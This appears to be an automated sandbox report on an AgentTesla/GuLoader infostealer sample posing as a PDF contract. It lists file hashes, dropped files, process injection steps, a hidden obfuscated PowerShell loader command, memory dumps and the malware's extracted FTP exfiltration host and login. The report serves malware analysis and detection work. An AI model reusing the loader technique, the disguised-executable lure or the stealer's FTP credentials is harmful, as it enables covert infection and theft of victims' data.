agenttesla | 4b653e8332214d845b60536ad7f0ec8f669126e66ca7a183a95eaa8d9e6baf87

General

Target

CONTRACT PREVIEW-pdf.exe
Size

677KB
MD5

e8d7ef2ffa5024bcb5efdf102f4c2c4f
SHA1

cdb42682a5290a61924eff92a99afebf449b4f6d
SHA256

4b653e8332214d845b60536ad7f0ec8f669126e66ca7a183a95eaa8d9e6baf87
SHA512

df66c72ec66f7a8bbddd9241828ff480cac403ddb5a856e33c712236008cae50a95259297e732a12b6e504b65f303915b6716c3983d10082ac0c153f0b3562aa
SSDEEP

12288:ywFGHE39Wr76v13mik8ilzhFyylgimtdYM3O0V7bbF:y5HE3orGv1C8ilzhFplgZtub0V7t

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	CONTRACT PREVIEW-pdf.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1384	msbuild.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1164	powershell.exe
1384	msbuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1164 set thread context of 1384	1164	powershell.exe	31

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	CONTRACT PREVIEW-pdf.exe
File created	C:\Program Files (x86)\cockling.lnk	CONTRACT PREVIEW-pdf.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	CONTRACT PREVIEW-pdf.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	CONTRACT PREVIEW-pdf.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\bagvognen.lnk	CONTRACT PREVIEW-pdf.exe
File opened for modification	C:\Windows\Calottes.Doo	CONTRACT PREVIEW-pdf.exe
File opened for modification	C:\Windows\bagvognen.lnk	CONTRACT PREVIEW-pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1384	msbuild.exe
1384	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1164	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeDebugPrivilege	1384	msbuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 1164	2780	CONTRACT PREVIEW-pdf.exe	28
PID 2780 wrote to memory of 1164	2780	CONTRACT PREVIEW-pdf.exe	28
PID 2780 wrote to memory of 1164	2780	CONTRACT PREVIEW-pdf.exe	28
PID 2780 wrote to memory of 1164	2780	CONTRACT PREVIEW-pdf.exe	28
PID 1164 wrote to memory of 1384	1164	powershell.exe	31
PID 1164 wrote to memory of 1384	1164	powershell.exe	31
PID 1164 wrote to memory of 1384	1164	powershell.exe	31
PID 1164 wrote to memory of 1384	1164	powershell.exe	31
PID 1164 wrote to memory of 1384	1164	powershell.exe	31
PID 1164 wrote to memory of 1384	1164	powershell.exe	31

C:\Users\Admin\AppData\Local\Temp\CONTRACT PREVIEW-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\CONTRACT PREVIEW-pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Conjugacy=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Boloroot\Hemotrophic\Ribers\Stafetten\Inspiration.Gno';$rhizotic=$Conjugacy.SubString(48958,3);.$rhizotic($Conjugacy)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

Filesize
32B

MD5
a8ca1db6ae34f5e5c152094f44f92476

SHA1
9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

SHA256
1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

SHA512
e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Boloroot\Hemotrophic\Ribers\Stafetten\Inspiration.Gno

Filesize
47KB

MD5
6c5ecd681013df0a80b7a6b555f966a3

SHA1
da3e4c299b3ee1290d7756580edae500f9314f21

SHA256
7a2ed4b1f7c6a060bd324fea3e1a9d102b3c7b602b24ea3ccaffc476dd0cadf3

SHA512
6a9dc58a174e697d67834b6ad70d81232acc5c3cac8b1c1e2b44784a915750830e5f65e081d538efdc0e904c7059265539f18d7bbfde76eec29233ec0f908358

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Nikkelholdig.Pup

Filesize
263KB

MD5
438265661adf9121d5d0cec203c1bffe

SHA1
e7063ecd2816f3b95c0134dbbc7753fb95043152

SHA256
84b6fec3270c7a3c15e6255a26b160697a5a0809a2da4c0c5537b221c4bb8a8a

SHA512
04fc48dd1277ac8f61e0764540f1e6fe1bd950ea9c72bf8a924683d363ed4c584afdc321bc4e2a47547f0bbf91be00479dff3104e686dcb4589d793d332e2d6c

Download Submit
memory/1164-150-0x0000000073700000-0x0000000073CAB000-memory.dmp

Filesize
5.7MB

Download
memory/1164-164-0x00000000065E0000-0x0000000009513000-memory.dmp

Filesize
47.2MB

Download
memory/1164-151-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download
memory/1164-148-0x0000000073700000-0x0000000073CAB000-memory.dmp

Filesize
5.7MB

Download
memory/1164-155-0x00000000054B0000-0x00000000054B4000-memory.dmp

Filesize
16KB

Download
memory/1164-156-0x00000000065E0000-0x0000000009513000-memory.dmp

Filesize
47.2MB

Download
memory/1164-157-0x00000000065E0000-0x0000000009513000-memory.dmp

Filesize
47.2MB

Download
memory/1164-158-0x0000000076E80000-0x0000000077029000-memory.dmp

Filesize
1.7MB

Download
memory/1164-159-0x0000000077070000-0x0000000077146000-memory.dmp

Filesize
856KB

Download
memory/1164-149-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download
memory/1164-161-0x0000000073700000-0x0000000073CAB000-memory.dmp

Filesize
5.7MB

Download
memory/1164-162-0x0000000002A80000-0x0000000002AC0000-memory.dmp

Filesize
256KB

Download
memory/1164-169-0x00000000065E0000-0x0000000009513000-memory.dmp

Filesize
47.2MB

Download
memory/1384-160-0x0000000000F70000-0x0000000003EA3000-memory.dmp

Filesize
47.2MB

Download
memory/1384-165-0x000000006F200000-0x0000000070262000-memory.dmp

Filesize
16.4MB

Download
memory/1384-166-0x0000000000F70000-0x0000000003EA3000-memory.dmp

Filesize
47.2MB

Download
memory/1384-167-0x000000006F200000-0x000000006F240000-memory.dmp

Filesize
256KB

Download
memory/1384-163-0x0000000076E80000-0x0000000077029000-memory.dmp

Filesize
1.7MB

Download
memory/1384-168-0x000000006EB10000-0x000000006F1FE000-memory.dmp

Filesize
6.9MB

Download
memory/1384-170-0x000000001F740000-0x000000001F780000-memory.dmp

Filesize
256KB

Download
memory/1384-172-0x0000000000F70000-0x0000000003EA3000-memory.dmp

Filesize
47.2MB

Download
memory/1384-175-0x000000006EB10000-0x000000006F1FE000-memory.dmp

Filesize
6.9MB

Download

Analysis

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